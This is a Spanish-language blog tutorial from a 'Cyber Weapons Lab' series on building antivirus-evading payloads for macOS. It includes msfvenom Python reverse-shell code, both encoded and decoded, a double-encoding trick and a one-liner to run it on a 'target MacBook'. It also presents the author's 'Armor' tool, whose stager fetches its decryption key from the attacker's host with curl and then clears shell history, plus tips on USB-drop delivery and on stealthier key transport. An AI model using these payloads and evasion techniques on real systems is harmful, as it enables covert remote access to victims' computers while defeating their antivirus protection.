BlogCyber Weapons Lab

Hackear macOS: cómo crear una carga útil indetectable

Encriptar cargas útiles y codificar etapas son más efectivos contra macOS de lo que uno podría pensar. Es muy fácil evadir el software antivirus VirusTotal y macOS usando algunos trucos simples.

El objetivo de este proyecto era localizar una carga útil macOS conocida y fácilmente detectable, y luego encontrar un método que permitiera que esa misma carga útil se ejecutara en la MacBook de destino. Esto confirmaría de manera confiable si algún método de evasión descubierto fue efectivo para ejecutar conocido cargas útiles. Además de probar archivos maliciosos contra VirusTotal, fueron probados en macOS Mojave (v10.14) contra software antivirus popular tal como Avast, AVG, BitDefender, Sophos, y ClamXAV.

Los lectores no deben confundir este tema con eludir Portero o Protecciones de integridad del sistema (SIP). Ejecutar una aplicación sin firmar y evadir los escáneres de virus son dos temas diferentes. El enfoque de este artículo será evadir la detección de software antivirus y VirusTotal. Como veremos a continuación, en la mayoría de los casos, simplemente codificar una carga útil es suficiente para evitar la detección de antivirus.

Conceptos básicos de codificación Base64

La codificación, como técnica de evasión de antivirus, es (generalmente) una idea muy terrible, ya que se descodifica e identifica fácilmente. Sin embargo, codificar scripts de Python y Bash es una práctica común en proyectos como Empire y msfvenom. Permite a los programadores ejecutar scripts complejos sin preocuparse por escapar de caracteres especiales que podrían hacer que una carga útil se rompa o falle.

Hablemos de la codificación base64 por un minuto y consideremos las siguientes cadenas.

echo 'one' | base64
b25lCg==

echo 'one two' | base64
b25lIHR3bwo=

echo 'one two three' | base64
b25lIHR3byB0aHJlZQo=

echo 'one two three four' | base64
b25lIHR3byB0aHJlZSBmb3VyCg==

echo 'one two three four five' | base64
b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK

Todas las cadenas se pueden decodificar fácilmente (-D en Kali, -D en macOS) usando el siguiente comando.

base64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'

Observe que el final de las cadenas cambia sutilmente, mientras que el principio siempre parece igual. Lo mismo ocurre con la mayoría de las cargas útiles de msfvenom. Si solo se cambian la dirección IP y el número de puerto, el comienzo de las cargas útiles codificadas en base64 producidas siempre será el mismo para todos los piratas informáticos y pentester que utilicen msfvenom. A continuación se muestra un ejemplo creado por msfvenom con la dirección IP “10.42.0.1”.

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

La siguiente salida de msfvenom usa la misma carga útil pero con una dirección IP diferente de “192.168.0.2”.

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==

No importa qué IP y puerto se usen, los primeros 142 caracteres son siempre idénticos cuando se usa esta carga útil de msfvenom. Si no se decodifica y analiza en busca de código nefasto, al menos parecería razonable que el software antivirus detecte cadenas de base64 comunes, pero no es así.

Cargas útiles codificadas en Base64 única

Lo crea o no, encontrar un archivo malicioso que VirusTotal y antivirus pudo detectar fue un desafío. Después de buscar en Internet artículos populares sobre “hackeo de macOS”, un artículo de Null Byte de hace tres años del miembro de la comunidad psytech140 ofrecía un sencillo msfvenom carga útil. La ejecución del siguiente comando produjo el siguiente resultado.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

Este es un Python one-liner codificado en base64 diseñado para interactuar con Metasploit. Guardar el one-liner en un archivo llamado “thisfileisevil.py” y cargarlo en VirusTotal resultó en una tasa de detección de 4/58.

Esta tasa de detección es sorprendentemente baja. La decodificación de la cadena base64 incrustada revela claramente que el script de Python está diseñado para conectarse a un servidor remoto (10.42.0.1) en el puerto 4444.

base64 -d <<< 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('10.42.0.1',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

Guardar el código Python descodificado anteriormente en un archivo llamado “thisfileisevil_without_encoding.py” y cargarlo en VirusTotal resultó en las siguientes tasas de detección de 1/56.

Curiosamente, el código Python sin procesar recibió una tasa de detección aún más baja.

En este punto, no está claro exactamente qué están intentando detectar VirusTotal y el software antivirus. No están haciendo un gran trabajo decodificando cadenas base64 o marcando las 13 líneas de Python generadas por msfvenom que sin duda han sido utilizadas miles de veces por diferentes pentesters y piratas informáticos a lo largo de los años.

Cargas útiles codificadas en Base64 doble

Si una carga útil codificada común es capaz de evadir la mayoría del software antivirus, la codificación doble también debería ser una técnica eficaz, ¿verdad? Bueno, no del todo. Codificar la salida codificada de msfvenom y cargarla en VirusTotal resultó en la siguiente detección 1/54.

Nuevamente, detección de 1/54 por parte de Microsoft, que no ayuda a ningún macOS que use software antivirus. Esto se logró codificando primero la salida de msfvenom, la misma carga útil de msfvenom que se detectó previamente.

cat thisfileisevil.py | base64

aW1wb3J0IGJhc2U2NCxzeXM7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHsyOnN0ciwzOmxhbWJkYSBi
OmJ5dGVzKGIsJ1VURi04Jyl9W3N5cy52ZXJzaW9uX2luZm9bMF1dKCdhVzF3YjNKMElITnZZMnRs
ZEN4emRISjFZM1FzZEdsdFpRcG1iM0lnZUNCcGJpQnlZVzVuWlNneE1DazZDZ2wwY25rNkNna0pj
ejF6YjJOclpYUXVjMjlqYTJWMEtESXNjMjlqYTJWMExsTlBRMHRmVTFSU1JVRk5LUW9KQ1hNdVky
OXVibVZqZENnb0p6RXdMalF5TGpBdU1TY3NORFEwTkNrcENna0pZbkpsWVdzS0NXVjRZMlZ3ZERv
S0NRbDBhVzFsTG5Oc1pXVndLRFVwQ213OWMzUnlkV04wTG5WdWNHRmpheWduUGtrbkxITXVjbVZq
ZGlnMEtTbGJNRjBLWkQxekxuSmxZM1lvYkNrS2QyaHBiR1VnYkdWdUtHUXBQR3c2Q2dsa0t6MXpM
bkpsWTNZb2JDMXNaVzRvWkNrcENtVjRaV01vWkN4N0ozTW5Pbk45S1FvPScpKSkK

Se puede ejecutar en el MacBook de destino con el siguiente comando.

python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | base64 -D)"

Aquí, printf y base64 están usando la MacBook para decodificar (-D) la cadena y ejecutar inmediatamente el comando (-C) con Python, que nuevamente decodifica la carga útil interna y crea una conexión TCP inversa.

Para mi sorpresa, tanto VirusTotal como el popular software antivirus se evitan de esta manera. Ningún software antivirus probado pudo detectar una carga útil de doble codificación en forma de archivo de texto o AppleScript.

Cargas útiles cifradas

Hasta ahora, hemos aprendido que las cargas útiles de codificación y doble codificación eludirán la detección de la mayoría del software antivirus (aunque es mejor usar código sin formato). Aún así, la codificación de secuencias de comandos y cargas útiles fomenta una juego de gato y ratón entre hackers y desarrolladores de antivirus. Es solo cuestión de tiempo antes de que alguien de AVG o Avast descubra este artículo de Null Byte y los escáneres antivirus comiencen a decodificar recursivamente cadenas base64 y busquen firmas codificadas comunes.

Esto me hizo pensar en un método más confiable para derrotar al antivirus macOS; una solución que es un poco más difícil de detectar y prevenir. Encriptar la carga útil, además de codificarla, proporcionará una mejor solución para evadir los escáneres antivirus.

¿Por qué es mejor cifrar que codificar?

La principal desventaja de la codificación es la capacidad del software antivirus para decodificar continuamente cadenas base64 y descubrir fácilmente la carga útil incorporada. No importa cuántas veces un atacante codifique su carga útil, se puede realizar ingeniería inversa. Al cifrar la carga útil, el software antivirus finalmente encontrará una cadena de datos ilegibles. La carga útil cifrada no puede ser escaneada por software AV o leída por humanos, no sin conocer la clave de descifrado.

Lo que me lleva a Armadura, un sencillo script de shell que creé para ilustrar cómo se puede automatizar y ejecutar el cifrado de cargas útiles de macOS.

Cómo funciona el guión ‘Armor’

Armor cifrará el contenido de cualquier archivo que se le proporcione. El archivo puede contener una sola línea, una secuencia de comandos Python compleja con cientos de líneas de código o una secuencia de comandos posterior a la explotación escrita en cualquier lenguaje de programación compatible con macOS. El contenido del archivo está encriptado con una clave de un solo uso. Luego, la clave se aloja temporalmente en el servidor del atacante y la MacBook de destino la descarga para descifrar la carga útil.

A continuación se muestra un ejemplo de Armadura que se utiliza con una carga útil simple de Netcat.

Hay algunas cosas que suceden en este GIF. Explicaré cada paso en orden.

Se inicia un oyente Netcat en el puerto 4444. Se lee el archivo “payload.txt” y se muestra que contiene una simple línea Bash que, cuando se ejecuta, creará una conexión TCP entre el MacBook de destino y el oyente Netcat del atacante. La armadura se utiliza para cifrar el bash de una sola línea. Ncat se utiliza para alojar la clave de descifrado en el servidor del atacante. Cuando el stager se ejecuta en el MacBook de destino (no se muestra en el GIF), el bash one-liner se descifra y se ejecuta sin escribir ningún dato en el disco duro. Ncat termina inmediatamente el oyente después de que se haya utilizado la clave. Cuando se establece la conexión Netcat, el atacante tiene acceso remoto al MacBook de destino.

Para obtener una explicación técnica de lo que hace el script y cómo ejecuta los comandos sin escribir datos en el disco duro del objetivo, dirígete a mi página de GitHub para ver los comentarios. Los lectores interesados ​​en realizar una prueba rápida de Armor pueden seguir los pasos a continuación.

Paso 1: Instale Armor

Armadura se puede encontrar en mi página de GitHub y clonar usando el siguiente comando.

git clone https://github.com/tokyoneon/Armor

Cloning into 'Armor'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (7/7), done.

Cambio (CD) en el directorio Armor / recién creado.

cd Armor/

Luego, otorgue permisos de ejecución al script armor.sh.

chmod +x armor.sh

Paso 2: crea la carga útil

En mi GIF de ejemplo, se usa un Bash one-liner para crear una conexión TCP, pero simplifiquemos el ataque encriptando un trivial ls mando.

Utilice el siguiente comando para crear el archivo payload.txt.

echo 'ls -la' >/tmp/payload.txt

Paso 3: Cifre la carga útil con armadura

Ahora, encripte el contenido de payload.txt con Armor usando el siguiente comando.

./armor.sh /tmp/payload.txt 1.2.3.4 443

                                    ..,co8oc.oo8888cc,..
        o8o.                ..,o889689ooo888o"88888888oooc..
      .8888               .o88886888".88888888o'?888888888889ooo....
      a88P            ..c688869""..,"o888888888o.?8888888888"".ooo8888oo.
      088P         ..atc8889"".,oo8o.86888888888o 88988889",o888888888888.
      888t  ...coo688889"'.ooo88o88b.'86988988889 8688888'o8888896989^888o
       888888888888"..ooo88896888888   "9o688888' "888988 8888868888'o88888
           ""G8889""'ooo88888888888889   .d8o9889""'   "8688o."88888988"o888888o .
            o8888'"""""""""'     o8688"          88868. 888888.68988888"o8o.
            88888o.              "8888ooo.        '8888. 88888.8898888o"888o..
               "8888l '               "888888'          '""8o"8888.8869888oo8888o
     .;.      .;;;;;,.     ,'       ,,     .,;,'      ;;;;;,.  :."8888 "888888888^88o
     OM0      xWl::coK0.  .WM,     ;MW   ,KOlccxXd   'Mk::clkXc ..8888,. "88888888888.
    .WXM.     xW      K0  .WMK     KMW   Nk     ;M:  'M:     lM':o888.o8o.  "866o9888o
    lN.Xo     xW      OK  .WKWc   lWKW  .Wd     .Ml  'M:     ;M,:888.o8888.  "88."89".
    0k dX     xW      OK  .WodX. .NodW  .Wd     .Ml  'M:     ;M, 89  888888    "88":.
   'M; 'M,    xW      KO  .Wo.No dX dW  .Wd     .Ml  'M:     oM.     '8888o
   oN   Kx    xW.cccoKO.  .Wo cWlW: dW  .Wd     .Ml  'Mc;cclkXc       "8888..
   Xd   oN.   xW xWc'.    .Wo  KM0  dW  .Wd     .Ml  'M:,WO'.          888888o.
  ;Mc...:Mc   xW  0K.     .Wo  ,W'  dW  .Wd     .Ml  'M: cW:            "888889,
  OXlllllKK   xW  .KO     .Wo   '   dW  .Wd     .Ml  'M:  oN'       . : :.::::.: :.
 .Mo     cM,  xW   .Xd    .Wo       dW  .Wd     .Ml  'M:   dX.   created by @tokyoneon_
 oW.     .Wd  xW    'W:   .Wo       dW   XO     :M;  'M:    0O
 KO       xN  xW     :N,  .Wo       dW   .O0xodO0c   'M:    .Xk

 [+]  Generated encryption key: /root/Armor/payload.txt_5c6c.key
 [+]  Encrypted payload: /root/Armor/payload.txt_5c6c.enc
 [+]  Generated SSL certificate: /root/Armor/payload.txt_5c6c.crt
 [+]  Generated SSL key: /root/Armor/payload.txt_5c6c_ssl.key
 [+]  Saved stager: /root/Armor/payload.txt_5c6c_stager.txt

 [!] Execute in the target MacBook:

bash -c "$(bash -c "$(printf '%s' 'YjAxMjMyZTU2ZTFhNDAxMDFlY2FlNjlkPi9kZXYvbnVsbCAyPiYxOyBvcGVuc3NsIGVuYyAtZCAt
YWVzLTI1Ni1jYmMgCS1pbiA8KHByaW50ZiAnJXMnICdVMkZzZEdWa1gxL29jU0tsUkdIRmZncmd1
YjlLV3JJdFlORldvNGplMzVFZTVXbTNUVytpWnA1RlVLc1o2NXBjdGt6bkdyK0gxUUo5eUtrYk8v
MXhTUT09JyB8IGJhc2U2NCAtRCkgCS1wYXNzIGZpbGU6PChjdXJsIC1zIC0taW5zZWN1cmUgaHR0
cHM6Ly8weDBBMkEwMDAxOjQ0Myk=' | base64 -D)")";history -c

 [!] Start the Ncat listener now? y/N

 [!] Start Ncat listener:

El 1.2.3.4 address es la dirección IP del atacante donde se alojará la clave de descifrado. Puede ser una IP local (por ejemplo, “192.168.1.2”) o una dirección de servidor privado virtual. El servidor Ncat utilizará esta dirección y número de puerto (443) para alojar la clave de descifrado. El puerto 443 puede ser cualquier puerto disponible en el sistema Kali Linux del atacante.

Si LibreSSL (la versión de OpenSSL utilizada por macOS) no se encuentra en Kali, Armor intentará instalarla. La versión de OpenSSL que se encuentra en Kali / Debian no es compatible con LibreSSL de macOS, desafortunadamente.

Paso 4: Inicie el escucha de Ncat

Antes de ejecutar el stager, inicie el escucha de Ncat. Armor intentará iniciarlo automáticamente.

[+]  Ncat active for stager: payload.txt_e856...
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Paso 5: Ejecute el Stager

Armor producirá un comando encriptado y codificado destinado a la MacBook de destino. Este programador puede integrarse en un AppleScript para ataques de caída USB, usarse en ataques USB Rubber Ducky o quizás utilizarse en otros ataques de ingeniería social. Por ahora, solo copiaremos y pegaremos el programador en una terminal MacBook.

Cuando se ejecuta el stager, el terminal MacBook mostrará (ls) todo (-a) archivos en el directorio actual en largo (-l) formato.

Hemos cifrado un simple ls comando, pero imagine las posibilidades al aplicar el mismo grado de ofuscación a un sofisticado script de Python diseñado para ejecutar una variedad de ataques avanzados. El software antivirus actualmente no decodifica las cadenas base64, e incluso si lo hicieran, la carga útil incrustada y cifrada no se podría leer.

Mejorando el ataque

La armadura no es perfecta. Es una especie de prueba de concepto que los lectores esperan encontrar formas de mejorar. Una alternativa a LibreSSL, por ejemplo, dado que la mayoría de las distribuciones Debian y Kali no lo tienen instalado de forma predeterminada, es un poco inconveniente como solución de cifrado.

Alojar la clave de descifrado en el servidor del atacante es peligroso. Si se descubre la dirección IP del atacante en el programador, podría ser posible enumerar el nombre de archivo de la clave y descargarlo. La clave permitiría al objetivo realizar ingeniería inversa de la carga útil cifrada y saber qué tipo de exploit se realizó en la MacBook.

Es más probable que el uso de UDP en el puerto 53 para transmitir la clave de descifrado evite la detección de firewalls y la inspección profunda de paquetes (DPI), lo que lo hace mucho más “indetectable”.

Además, encontrar una forma de cifrar las cargas útiles que no dependa de que el objetivo esté conectado a Internet (para descargar la clave de descifrado) sería más eficiente.

Pensamientos finales

Después de probar estos ataques contra VirusToal y al menos seis programas antivirus populares, ninguno pudo detectar una carga útil con doble codificación. Parece que los escáneres antivirus de macOS son casi completamente incapaces de identificar incluso las cargas útiles de codificación única más comunes. Detectar algo creado por Armor resultará mucho más desafiante para los escáneres antivirus de macOS de hoy.

Además, macOS depende demasiado de Portero para evitar que se abran aplicaciones maliciosas. Como se muestra en un artículo anterior, las protecciones de GateKeeper no se aplican a las unidades USB insertadas en la MacBook, por lo que los objetivos pueden diseñarse socialmente para abrir archivos maliciosos.

Para prevenir estos ataques de forma proactiva, los lectores deben consultar “Cómo protegerse de los ataques de macOS”.

Foto de portada y capturas de pantalla de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar